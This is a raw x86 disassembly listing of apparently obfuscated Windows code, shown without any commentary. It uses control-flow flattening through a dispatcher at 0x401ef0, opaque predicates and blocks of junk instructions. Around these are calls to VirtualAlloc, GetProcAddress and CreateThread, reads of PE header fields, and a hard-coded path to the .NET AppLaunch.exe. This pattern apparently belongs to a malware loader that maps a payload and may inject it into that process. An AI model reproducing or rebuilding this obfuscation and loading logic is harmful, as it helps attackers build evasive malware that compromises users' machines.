and edi, 0xdfb06f5e
or esi, edi
mov edi, edx
xor edi, 0x56f3cd64
and edi, edx
mov ebx, edi
not ebx
and edi, 0x204f90a1
or eax, ebx
and ebx, 0xdfb06f5e
or edi, ebx
not eax
xor edi, esi
or eax, edi
not edi
and edi, 0xa90c329a
and eax, 0x56f3cd65
or eax, edi
mov esi, eax
not esi
and eax, 0xa33864e7
and esi, 0x5cc79b18
or eax, esi
mov esi, eax
xor esi, 0xa3182440
xor eax, 0x5cc79b18
mov edi, eax
or eax, edx
and edx, 0xc6452b7
and edi, 0xc6452b7
and esi, 0xf39bad48
or esi, edi
or ecx, edx
not eax
xor ecx, esi
mov esi, 0xb33bb17b
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x7c9c91af
and ecx, 0x83636e50
or eax, ecx
xor eax, 0x7c9c91af
setne dl
sete ah
cmp dword [0x504180], 0xa
setge al
setl cl
xor cl, ah
mov ah, al
or al, dl
xor ah, dl
xor al, 1
xor cl, 1
or al, ah
xor ah, 1
mov dl, ah
xor dl, al
or al, ah
xor al, 1
or al, dl
mov edx, ecx
xor dl, al
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xcac1d0a1
cmovne eax, esi
test dl, 1
mov edx, dword [ebp - 0x98]
cmove eax, esi
lea esi, [ebp - 0x90]
test cl, 1
mov dword [ebp - 0x148], esi
mov dword [ebp - 0xa8], edx
mov edx, 0xcac1d0a1
cmove eax, edx
jmp 0x401ef0
mov ecx, dword [0x504184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x8bf96876
mov edx, ecx
and edx, 0x74069788
and ecx, 0xe7f5033e
or esi, edx
mov edx, eax
xor edx, 0xfffffffe
and edx, eax
and eax, 0x180afcc1
xor esi, 0x8bf96876
or eax, ecx
or edx, esi
mov esi, 0xab4bc8ca
mov ecx, eax
xor ecx, 0x180afcc1
xor eax, 0xe7f5033e
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
not eax
or eax, edx
xor eax, 0xffffffff
sete ch
setne ah
cmp dword [0x504180], 0xa
setge cl
setl dl
mov al, cl
xor al, ah
mov dh, al
and al, cl
and cl, ch
and dh, ah
and ah, dl
xor al, 1
or dl, ch
xor dh, 1
or cl, ah
mov bl, dh
xor cl, 1
xor bl, al
or al, dh
mov ah, cl
or cl, dl
xor al, 1
xor ah, dl
xor cl, 1
or al, bl
or cl, ah
mov ah, al
xor ah, 1
mov dl, ah
mov ch, ah
xor ah, cl
and dl, al
xor ch, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, ch
mov ch, dl
xor ch, 1
and ch, cl
xor cl, 1
and dl, cl
or cl, al
xor cl, 1
or dl, ch
or cl, ah
mov eax, 0x9cd76c3f
mov ch, cl
xor ch, dl
test cl, 1
cmovne eax, esi
test dl, 1
mov edx, 0x9cd76c3f
cmove eax, esi
test ch, 1
cmove eax, edx
jmp 0x401ef0
cmp byte [ebp - 0xd2], 0
mov eax, 0x71e2dff3
mov ecx, 0x73db3953
cmovne eax, ecx
jmp 0x401ef0
mov eax, dword [0x504184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
mov esi, ecx
or edx, 0x5ea9c4e8
and esi, 0x5ea9c4e8
and ecx, 0xff802ef2
mov edi, eax
and edi, 0xa1563b16
and edx, 0x5ea9c4e9
and eax, 0x7fd10d
or edi, esi
or eax, ecx
xor edx, edi
mov esi, edx
not esi
and edx, 0x7fd10d
mov edi, esi
and edi, 0xff802ef2
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0x232b8289
setne ch
cmp dword [0x504180], 0xa
mov dh, ch
mov cl, ch
setge ah
setl dl
inc dh
mov al, ah
and cl, dl
or dl, dh
and al, dh
or al, cl
mov cl, dh
and cl, ch
xor dh, cl
xor cl, 1
or cl, ch
xor cl, 1
or cl, dh
xor cl, ah
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
mov ecx, eax
xor dl, 1
xor cl, 1
or dl, ah
mov ah, dl
and dl, cl
xor ah, 1
or cl, ah
and ah, al
or ah, dl
mov al, cl
mov edx, 0x903000dd
xor al, ah
test al, 1
cmovne edx, esi
test ah, ah
mov esi, 0x903000dd
mov eax, edx
cmovne eax, esi
test cl, 1
cmovne eax, edx
jmp 0x401ef0
mov eax, 0x77d69b7a
jmp 0x401ef0
mov eax, 0x8098099f
jmp 0x401ef0
mov eax, 0x44661c79
jmp 0x401ef0
mov eax, dword [ebp - 0x21c]
add eax, dword [ebp - 0x220]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0xe0]
mov dword [ecx], eax
mov ecx, 0xc1624607
mov eax, dword [ebp - 0xb8]
cmp byte [eax], 0
mov eax, 0x76a2edd4
cmove eax, ecx
jmp 0x401ef0
inc dword [ebp - 0xc0]
mov eax, 0x26b93d4e
jmp 0x401ef0
mov eax, dword [ebp - 0xe4]
mov edx, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0x10c]
mov dword [ebp - 0x174], eax
lea eax, [edx + edx*4]
mov eax, dword [ecx + eax*8 + 8]
mov dword [ebp - 0x17c], ecx
mov dword [ebp - 0x180], edx
mov dword [ebp - 0x178], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xbc], eax
mov eax, 0x47e7b5af
jmp 0x401ef0
mov eax, dword [0x504184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x52424472
and eax, ecx
not ecx
and ecx, 0x52424472
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x80915376
and ecx, 0x7f6eac89
or eax, ecx
mov edx, eax
mov ecx, eax
xor eax, 0x2d2ce8fa
xor edx, 0xd2d31704
xor ecx, 0xd2d31705
and ecx, edx
and eax, 0xfffffffe
and edx, 1
or edx, eax
or edx, ecx
mov esi, edx
mov ecx, edx
xor ecx, 0x61ad3697
mov eax, edx
not esi
or eax, 0x9e52c968
and ecx, edx
mov edx, eax
and edx, 0xef91fa5e
and esi, 0x2c0481
or esi, edx
mov edx, ecx
not edx
and ecx, 0x106e05a1
or eax, edx
and edx, 0xef91fa5e
or ecx, edx
not eax
xor ecx, esi
mov esi, 0x635560db
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x17bcf6ad
and ecx, 0xe8430952
or eax, ecx
cmp eax, 0x7611c03a
sete dl
cmp dword [0x504180], 0xa
setl cl
mov eax, ecx
or cl, dl
xor al, dl
xor cl, 1
or cl, al
mov ah, al
mov edx, ecx
xor ah, 1
and al, cl
not dl
or cl, ah
and ah, dl
mov edx, ecx
or ah, al
xor dl, ah
test ah, ah
mov eax, 0x6f00e0f8
cmovne eax, esi
test cl, cl
mov ecx, 0x6f00e0f8
cmovne eax, ecx
test dl, dl
cmove eax, esi
jmp 0x401ef0
mov eax, 0xd180363b
jmp 0x401ef0
mov eax, 0xad80d1ea
jmp 0x401ef0
mov eax, 0x69554d2b
jmp 0x401ef0
mov eax, dword [ebp - 0xa0]
add eax, 0x18
mov dword [ebp - 0x1a8], eax
mov eax, 0x6b3c109b
jmp 0x401ef0
cmp dword [ebp - 0x170], 0
mov ecx, dword [0x504184]
mov edi, 0x8c6a82fa
lea eax, [ecx + 1]
setne byte [ebp - 0xd5]
imul eax, ecx
mov edx, eax
not edx
mov esi, edx
or edx, 0x92aa527a
and esi, 0x92aa527a
mov ecx, edx
not ecx
and edx, 0x6d55ad84
or ecx, esi
and ecx, 0x92aa527b
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn esi, eax, edx
or ecx, esi
mov esi, 0xb1cb15aa
not ecx
or ecx, edx
xor ecx, 0xffffffff
setne cl
sete ah
cmp dword [0x504180], 0xa
setge ch
setl al
mov dl, ch
and al, cl
xor dl, ah
and ah, ch
or al, ah
and dl, ch
mov ecx, edx
mov ah, al
xor dl, al
xor cl, 1
xor ah, 1
or cl, ah
xor cl, 1
or cl, dl
mov edx, eax
mov ch, cl
xor dl, cl
and cl, al
not ch
and dl, al
and ch, ah
mov eax, edx
or cl, ch
xor al, cl
test al, 1
cmovne esi, edi
test cl, cl
mov eax, esi
cmovne eax, edi
test dl, dl
cmove eax, esi
jmp 0x401ef0
mov eax, 0xdc8cc263
jmp 0x401ef0
rol esi, 0xc8
bswap ebx
mov ebx, 0x72
inc edi
inc esi
not ebx
ror eax, 0xaa
dec esi
sub ebx, 0x5a
rcl esi, 0xe1
or edi, 0x84
mov esi, 0x74
imul ebx
not esi
neg eax
imul esi
rol esi, 0xc
sbb eax, 0xe
ror edx, 0x6b
dec eax
not edx
rcl edi, 0x33
rcr edi, 0x23
inc edi
and eax, 0xaa
ror edi, 0x13
not esi
sbb eax, 0xe1
neg edx
bswap edx
sbb edx, 0x5a
bswap edi
sub edi, 0xc1
neg eax
sub edx, 0xa0
imul eax
sbb esi, 0x2d
sub edi, 0xe5
sub esi, 0x52
neg eax
sub eax, 0xa1
not edx
neg edi
ror eax, 1
add esi, 0x8b
bswap eax
neg esi
not ebx
bswap edi
sbb eax, 0x56
dec esi
and edi, 0xa2
ror edi, 5
mov edx, 0x61
bswap edi
rcl eax, 0xdb
sub ebx, 0x95
bswap esi
rcr edx, 0x32
not ebx
mov esi, 0x46
or edx, 0xe2
or esi, 0xd
bswap eax
rcr esi, 0xdd
imul ebx
rcr esi, 0xf5
sbb edi, 0x5f
imul edi
sub eax, 0x9e
mov ebx, 0xd4
sbb ebx, 7
inc esi
sbb eax, 0x55
rol edx, 0xe2
mov esi, 0x4f
imul edi
sub edx, 0x40
mov esi, 0x29
bswap edi
rol eax, 0x90
dec ebx
sbb edi, 0xa8
sub ebx, 0x43
ror esi, 0x4e
ror eax, 0x9d
inc edx
mov ebx, 0xdb
inc ebx
not eax
and edx, 0xf
bswap esi
dec eax
dec eax
imul edx
sub ebx, 0x59
bswap edx
mov edx, 0xca
not ebx
dec ebx
sbb edi, 4
rcl ebx, 0xb9
sub edx, 0xb0
neg ebx
neg eax
ror eax, 0xfc
bswap edx
bswap edx
dec edi
sbb esi, 0xc7
not ebx
not eax
neg eax
sbb eax, 0x53
rcl edx, 0x36
dec edi
dec edx
rol edx, 0x50
sbb eax, 7
imul edi
bswap edi
imul edx
neg esi
not esi
rcr esi, 0xf3
ror eax, 0x14
bswap ebx
mov edi, 0xf8
dec edx
bswap eax
sub edi, 0xd3
mov ebx, 0xc0
imul edx
add edi, 0x12
dec edi
neg edi
or edx, 0x52
not edi
inc eax
imul edi
or edx, 0x96
sbb ebx, 0x7a
bswap esi
rcr edi, 0x49
mov esi, 0x25
inc edi
rcr edx, 0x47
mov edx, 0x5c
dec edx
not edx
mov dword [ebp - 0x9c], eax
mov eax, dword [0x504184]
mov edi, 0x32271828
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
mov edx, ecx
and edx, 0x64141b12
and eax, ecx
not ecx
mov esi, ecx
and esi, 0x9bebe4ec
or edx, esi
mov esi, 0xe0b98d9f
xor edx, 0x64141b12
or eax, edx
mov edx, eax
not edx
and eax, 0x6fc871f4
and edx, 0x90378e0b
or eax, edx
xor eax, 0x6fc871f4
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xc4bd370
and ecx, 0xf3b42c8f
or eax, ecx
xor eax, 0xc4bd370
sete dl
setne cl
cmp dword [0x504180], 0xa
setge al
setl ah
mov ch, al
or al, cl
xor ch, cl
xor cl, ah
xor al, 1
not cl
and ch, dl
and cl, ah
or cl, ch
xor cl, al
mov edx, ecx
xor dl, 1
and al, dl
xor dl, al
mov edx, 0x32271828
cmovne edx, esi
test cl, cl
mov ecx, edx
cmovne ecx, edi
test al, al
mov eax, dword [ebp - 0x98]
cmove ecx, edx
mov dword [ebp - 0x100], eax
mov eax, ecx
jmp 0x401ef0
push 4
push 0x3000
push dword [ebp - 0x194]
push dword [ebp - 0x124]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp dword [ebp - 0x8c], 0
mov dword [ebp - 0x98], eax
mov eax, 0xd180363b
mov ecx, 0x893a51d4
cmove eax, ecx
jmp 0x401ef0
cmp dword [ebp - 0xc4], 0
mov eax, 0xa6350948
sets byte [ebp - 0xd3]
jmp 0x401ef0
cmp byte [ebp - 0xd4], 0
mov eax, 0x616fd3cf
mov ecx, 0xd88be0e7
cmovne eax, ecx
jmp 0x401ef0
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax + 0x80]
add eax, dword [ebp - 0x100]
mov ecx, dword [0x504184]
mov dword [ebp - 0x154], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
and eax, 0xa250880
mov ecx, edx
and ecx, 0x64821100
and edx, 0x9158e67f
or eax, ecx
xor eax, 0xa250880
or edx, eax
mov edi, edx
not edi
mov esi, edx
and esi, 0x7805e1c2
and edx, 0x140e403
mov eax, edi
and eax, 0x87fa1e3d
or edi, 0xee9519fc
or esi, eax
mov ecx, esi
mov ebx, esi
xor ecx, 0x7805e1c2
xor ebx, 0x696f07c1
xor esi, 0x772081d
and ebx, ecx
and esi, 0x2f73691f
mov eax, ebx
not eax
and ebx, 0xeb44ed5b
mov dword [ebp - 0x120], eax
and dword [ebp - 0x120], 0x14bb12a4
or eax, edi
and edi, 0x14bb12a4
add ebx, dword [ebp - 0x120]
or edx, edi
not eax
mov edi, ecx
and edi, 0xd08c96e0
and ecx, 1
or edi, esi
xor edx, ebx
or eax, edx
mov edx, eax
not edx
and eax, 0x999d3c0f
and edx, 0x6662c3f0
or eax, edx
mov edx, edi
xor edx, 0x80c
xor edi, 0x400880e0
or ecx, edx
mov edx, eax
xor edx, 0x260824e0
xor eax, 0x88f7da0d
and edi, 0x6f7be1f2
and ecx, 0x90841e0d
mov esi, eax
and esi, 0xd9761317
and edx, 0x2689ece8
or ecx, edi
or edx, esi
mov esi, ecx
xor esi, 0x800c08
xor ecx, 0x6f7be1f2
or eax, ecx
and ecx, 0xd9761317
and esi, 0x2689ece8
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x60d05e73
mov edx, eax
xor edx, 0x9a19dd04
mov ecx, eax
and ecx, 0x88184c00
and edx, eax
not eax
and eax, 0x12019104
or ecx, eax
xor ecx, 0x88184c00
or ecx, edx
not edx
and edx, 0x65e622fb
and ecx, 0x9a19dd04
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xf279fa68
and eax, 0xd860597
or ecx, eax
mov eax, ecx
xor eax, 0xa2215000
xor ecx, 0x4040405
and ecx, 0x545cae6d
and eax, 0xaba35192
or eax, ecx
mov ecx, eax
xor ecx, 0x40442a00
xor eax, 0x2aa14192
and eax, 0x3eb9c5ff
and ecx, 0xc1463a00
or ecx, eax
xor ecx, 0xc1463a00
setne dl
sete ch
cmp dword [0x504180], 0xa
setge al
mov ah, al
mov cl, al
inc ah
or cl, ch
mov dh, ah
xor cl, 1
and dh, al
xor dh, 1
or dh, al
xor dh, 1
or dh, ah
xor ah, ch
and ch, al
or al, dl
xor dh, dl
xor al, 1
or cl, ch
or al, ah
mov dl, dh
xor dl, al
or al, dh
xor al, 1
or al, dl
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xfab3a851
cmovne eax, esi
test cl, cl
mov ecx, 0xfab3a851
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x401ef0
mov eax, 0xa22f9d66
jmp 0x401ef0
mov eax, dword [ebp - 0x1f4]
mov ecx, dword [ebp - 0xc0]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0x10]
mov dword [ebp - 0x1f8], eax
mov eax, 0x3a808110
jmp 0x401ef0
mov eax, dword [0x504184]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0x9c987eed
and eax, edx
not edx
or edx, eax
not eax
and eax, 0x63678112
and edx, 0x9c987eed
or edx, eax
mov eax, edx
mov ecx, edx
not eax
or ecx, 0xf882e80f
mov esi, ecx
mov edi, eax
and esi, 0xa6bb8d7a
and edi, 0x1441280
or edi, esi
mov esi, edx
xor esi, 0x77d17f0
and esi, edx
and edx, 0x8762f456
mov ebx, esi
not ebx
and esi, 0x59447285
or ecx, ebx
and ebx, 0xa6bb8d7a
or esi, ebx
not ecx
xor esi, edi
mov edi, 0x3c321f22
or ecx, esi
not esi
and esi, 0xf882e80e
and ecx, 0x77d17f1
or ecx, esi
mov esi, eax
and esi, 0x789d0ba9
and eax, 1
or esi, edx
mov edx, esi
xor edx, 0x82605411
xor esi, 0x688108a8
or eax, edx
and esi, 0x6d83a8ee
and eax, 0x927c5711
or eax, esi
mov esi, 0x96606a3b
xor eax, 0x927c5711
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x4e8e4af
and ecx, 0xfb171b50
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x3b5564e5
and ecx, 0xc4aa9b1a
or eax, ecx
mov ecx, eax
xor ecx, 0x80426034
xor eax, 0x2e25004a
and ecx, 0x91dae034
and eax, 0x6e251fcb
or eax, ecx
mov ecx, eax
xor ecx, 0x80884004
xor eax, 0xa050240
and eax, 0x1b57a270
and ecx, 0xe4a85d8f
or ecx, eax
cmp ecx, 0xe4a85d8f
sete cl
cmp dword [0x504180], 0xa
setl al
mov edx, eax
or al, cl
xor dl, cl
xor al, 1
or al, dl
xor al, 1
mov ecx, eax
or al, dl
xor cl, dl
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test dl, 1
cmovne edi, esi
test al, 1
mov eax, 0x3c321f22
cmovne eax, edi
test cl, cl
cmove eax, edi
jmp 0x401ef0
neg esi
sbb edx, 0x38
rol esi, 0x96
ror edi, 0x8f
sbb ebx, 0xe0
add edi, 0xba
and ebx, 0x9c
rcr esi, 0xde
bswap edi
imul esi
imul ebx
bswap edi
rcr ebx, 0xe7
ror ebx, 0x29
add esi, 0x89
imul ebx
not edx
rcr edx, 0x9d
imul eax
bswap eax
bswap eax
add eax, 2
rol eax, 0xab
and esi, 0x4e
rcr ebx, 0x82
not ebx
mov ebx, 0xfa
bswap edx
bswap edx
inc eax
bswap edx
add edi, 0x87
not esi
mov edi, 0x6c
or eax, 0xf4
neg edi
dec esi
sub edi, 0x9f
dec ebx
imul esi
dec esi
dec esi
or eax, 0x5b
add edi, 0x60
not edx
neg esi
imul eax
bswap edx
rcr ebx, 0xbe
dec eax
mov eax, 0xfc
not edi
dec ebx
not esi
mov edi, 0xce
not ebx
dec edx
dec eax
not edi
sbb esi, 0x14
and esi, 0xa2
dec edx
and ebx, 0xd3
rcr esi, 0xd1
or edi, 0xd6
imul esi
not edx
bswap edx
or ebx, 0x4c
add ebx, 6
rol eax, 0x88
dec esi
neg edi
inc edi
sbb ebx, 0x66
rcl eax, 0x8f
inc ebx
mov ebx, 0x4b
inc eax
and edx, 1
not eax
sub ebx, 0x55
inc eax
mov edx, 0xab
neg esi
inc eax
inc eax
not esi
sbb ebx, 0xfe
sbb ebx, 0xde
neg ebx
inc ebx
neg edi
neg eax
and eax, 2
dec esi
ror edi, 0xaa
add ebx, 0x12
rol ebx, 0x46
not ebx
or edi, 0x5a
imul edi
rcr esi, 0x9b
rcr edx, 0x1f
imul esi
and edx, 0x79
ror esi, 0xb6
bswap ebx
bswap esi
rol esi, 4
add edi, 0x13
inc ebx
mov esi, 0xe0
mov edi, 0x68
add ebx, 0x6a
neg ebx
not ebx
imul eax
inc eax
sub edi, 0xb5
bswap ebx
rcr esi, 0xc6
imul esi
sbb esi, 0x66
sub edx, 0x7e
imul eax
sub edx, 0x69
ror ebx, 0xb9
not esi
neg edi
and esi, 0x48
bswap eax
inc edi
rol esi, 0x6d
and ebx, 0xd8
neg edi
dec edx
rcl ebx, 0x4e
sbb eax, 0x8b
imul edx
inc esi
bswap esi
imul eax
and ebx, 0x1f
imul eax
neg edx
dec eax
add esi, 0xef
add esi, 2
rol esi, 0x21
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x21c], eax
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax + 0x28]
mov dword [ebp - 0x220], eax
mov eax, 0xf6b4bb0c
jmp 0x401ef0
mov eax, 0xc244012f
mov dword [ebp - 0xa4], 2
jmp 0x401ef0
mov ecx, dword [0x504184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 0x6e8c9d3b
mov edi, edx
mov esi, ecx
and esi, 0x86a36ca3
and edi, 0x11500244
and edx, 0xa83824a5
or edi, esi
mov esi, eax
xor esi, 0x917362c4
and esi, eax
and eax, 0x57c7db5a
mov ebx, esi
not ebx
and esi, 0x795c935c
or eax, edx
or ecx, ebx
and ebx, 0x86a36ca3
or esi, ebx
not ecx
xor esi, edi
mov edi, 0x506f967c
or ecx, esi
not esi
and esi, 0x6e8c9d3a
and ecx, 0x917362c5
or ecx, esi
mov edx, ecx
not edx
and ecx, 0xb2b1e3df
mov esi, edx
and esi, 0x4d4e1c20
or ecx, esi
mov esi, eax
xor esi, 0x1281c35a
xor eax, 0x8080420
and eax, 0x4d4e1c20
and esi, 0xb2b1e3df
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0xec626aa8
sete ah
setne cl
cmp dword [0x504180], 0xa
setge al
setl ch
mov edx, eax
or al, cl
xor dl, cl
xor cl, ch
xor al, 1
and dl, ah
not cl
and cl, ch
xor dl, 1
xor cl, 1
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
xor cl, al
mov edx, ecx
xor dl, 1
and al, dl
xor dl, al
test cl, 1
mov ecx, 0x506f967c
cmovne ecx, esi
test al, al
cmove ecx, edi
test dl, 1
cmove ecx, esi
mov eax, ecx
jmp 0x401ef0
mov eax, 0xb4e90985
jmp 0x401ef0
mov dword [ebp - 0xa4], 0xd
mov eax, 0x92a2e234
jmp 0x401ef0
mov eax, 0x5400e6ee
mov dword [ebp - 0xa4], 5
jmp 0x401ef0
mov eax, 0xb6ec2805
jmp 0x401ef0
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
add eax, dword [ebp - 0xa8]
mov dword [ebp - 0x104], 0
mov dword [ebp - 0xe8], eax
mov eax, dword [0x504184]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xd983fa0b
mov eax, edx
and eax, 0x6b6b28ad
andn esi, edx, ecx
not edx
and edx, 0x9494d752
or edx, eax
mov ecx, edx
xor edx, 0x6b6b28ad
xor ecx, 0x9494d752
mov eax, edx
or eax, 0xd983fa0b
mov ebx, ecx
and ebx, 0x206805d4
and edx, 0xb37f7b92
mov edi, eax
and edi, 0xf94882b
or ebx, edi
mov edi, esi
not edi
and esi, 0xf06b77d4
or eax, edi
and edi, 0xf94882b
or esi, edi
not eax
mov edi, 0xd1793aba
xor esi, ebx
or eax, esi
mov esi, eax
not esi
and eax, 0xfbca2553
and esi, 0x435daac
or eax, esi
mov esi, ecx
and esi, 0x4c80846d
and ecx, 1
or esi, edx
mov edx, esi
xor edx, 0x22c3201
xor esi, 0x800040c
or ecx, edx
mov edx, eax
xor edx, 0x99140082
and esi, 0xb9534d9e
xor eax, 0x2249df59
and ecx, 0x46acb261
and edx, 0x9b55cecb
or ecx, esi
mov esi, eax
and esi, 0x64aa3134
or edx, esi
mov esi, ecx
xor esi, 0x2048241
xor ecx, 0xb9534d9e
or eax, ecx
and ecx, 0x64aa3134
and esi, 0x9b55cecb
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x2bf87cb8
mov ecx, eax
xor ecx, 0x1fefa5b3
and ecx, eax
not eax
or eax, ecx
not ecx
and ecx, 0xe0105a4c
and eax, 0x1fefa5b3
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x336a9d90
mov edx, ecx
and edx, 0xcc95626f
or eax, edx
xor eax, 0xcc95626f
xor ecx, eax
test ecx, eax
setne al
sete cl
cmp dword [0x504180], 0xa
mov ch, al
setl dl
setge ah
and ch, ah
and cl, dl
xor al, dl
or cl, ch
mov edx, eax
xor cl, 1
not dl
or cl, ah
mov ah, cl
and dl, cl
or cl, al
not ah
mov dh, cl
and al, ah
or al, dl
xor dh, al
test al, al
mov eax, 0xd1793aba
cmovne eax, esi
test cl, cl
cmovne eax, edi
test dh, 1
cmove eax, esi
jmp 0x401ef0
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax + 4]
add eax, dword [ebp - 0x104]
mov dword [ebp - 0x1f0], eax
mov eax, 0x33467875
jmp 0x401ef0
vmovups ymm0, ymmword [0x44f1d8]
vmovups ymm1, ymmword [0x44f1c0]
mov eax, dword [ebp - 0x184]
vmovups ymm2, ymmword [0x44f1a0]
mov dword [ebp - 0x9c], eax
vmovups ymmword [ebp - 0x30], ymm0
vmovups ymmword [ebp - 0x48], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymmword [ebp - 0x68], ymm2
vmovups ymmword [ebp - 0x88], ymm1
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xa0]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0xb8]
setne byte [eax]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xb8]
mov eax, 0xce373c33
jmp 0x401ef0
push dword [ebp - 0x15c]
push dword [ebp - 0x160]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x504184]
mov dword [ebp - 0x108], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
mov edx, eax
or edx, 1
not ecx
and eax, 0x6d43f275
mov esi, ecx
and edx, 0xc1178a6b
and esi, 0x3ee87594
or esi, edx
mov edx, ecx
or edx, 0xc1178a6a
and ecx, 0x92bc0d8a
and edx, 0xc1178a6b
or eax, ecx
xor edx, esi
xor eax, 0x6d43f275
mov esi, 0xb5576843
not edx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xe0ef36cb
and ecx, 0x1f10c934
or eax, ecx
xor eax, 0xe0ef36cb
setne dl
sete cl
cmp dword [0x504180], 0xa
mov dh, dl
setl ah
setge ch
mov al, ah
and dh, ch
or dl, ah
and al, cl
xor cl, ah
xor dl, 1
or al, dh
and cl, ah
xor al, 1
or cl, dl
or al, ch
mov edx, ecx
mov ch, al
xor dl, 1
and cl, al
not ch
or al, dl
and dl, ch
or dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xc509c552
cmovne esi, ecx
test dl, 1
mov edx, 0xb5576843
mov ecx, esi
cmovne ecx, edx
test al, al
jmp 0x40d3ed
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x1f4], eax
mov eax, 0xe1a418f5
jmp 0x401ef0
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x19c], eax
mov eax, dword [0x504184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xdc70d561
mov edx, ecx
and edx, 0x238f2a9e
andn eax, ecx, eax
or eax, edx
mov edx, eax
not edx
and eax, 0xcd98e275
and edx, 0x32671d8a
or eax, edx
mov edx, eax
xor edx, 0x62018000
xor eax, 0x11e83715
mov esi, eax
and esi, 0x8cbe4cea
and edx, 0x7341b315
or edx, esi
mov esi, ecx
not esi
or ecx, 1
or eax, ecx
and ecx, 0x8cbe4cea
and esi, 0x7341b314
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x70bfbc1f
mov ecx, eax
not ecx
and eax, 0x50a020e0
mov edx, ecx
and edx, 0x910480d
and ecx, 0xa64f9712
or eax, edx
xor eax, 0x50a020e0
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x3a08ddbf
mov edx, eax
and edx, 0xc5f72240
or ecx, edx
xor ecx, 0x3a08ddbf
or ecx, eax
cmp ecx, 0xffffffff
setne cl
cmp dword [0x504180], 0xa
setl al
setge ah
xor al, cl
or ah, cl
mov edx, eax
mov ecx, eax
xor al, ah
xor dl, 1
and cl, dl
mov ch, dl
xor cl, 1
xor ch, cl
or cl, dl
xor cl, 1
or cl, ch
xor cl, ah
xor ah, 1
or dl, ah
xor dl, 1
or dl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x504362fa
cmovne esi, eax
test dl, dl
mov eax, 0x70bfbc1f
cmovne eax, esi
jmp 0x40a408
mov eax, 0x84dab0fa
jmp 0x401ef0
mov eax, dword [0x504184]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0x922d06f6
and edx, 0x6dd2f909
or eax, edx
mov edx, eax
xor edx, 0x92000600
xor eax, 0x6dd2f909
mov esi, eax
and esi, 0x4cfd59f6
and edx, 0xb302a609
or edx, esi
mov esi, ecx
not esi
and ecx, 0xb302a609
or eax, esi
and esi, 0x4cfd59f6
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov edx, eax
xor edx, 0x2fa9a551
mov ecx, eax
and ecx, 0xf67ccc8a
and edx, eax
not eax
and eax, 0x9833375
or ecx, eax
mov eax, ecx
mov esi, ecx
xor eax, 0xf67ccc8a
xor esi, 0x262a9624
xor ecx, 0x822025
and esi, eax
and ecx, 0x50e6a827
or edx, esi
mov esi, edx
not esi
and edx, 0xb77ab66
and esi, 0xf4885499
or edx, esi
mov esi, eax
and esi, 0xaf1957d8
and eax, 1
or esi, ecx
xor edx, 0x24de0e36
xor esi, 0x50e6a826
or eax, esi
mov esi, 0x8e12b5e2
not eax
or eax, edx
mov ecx, eax
andn edx, eax, eax
not eax
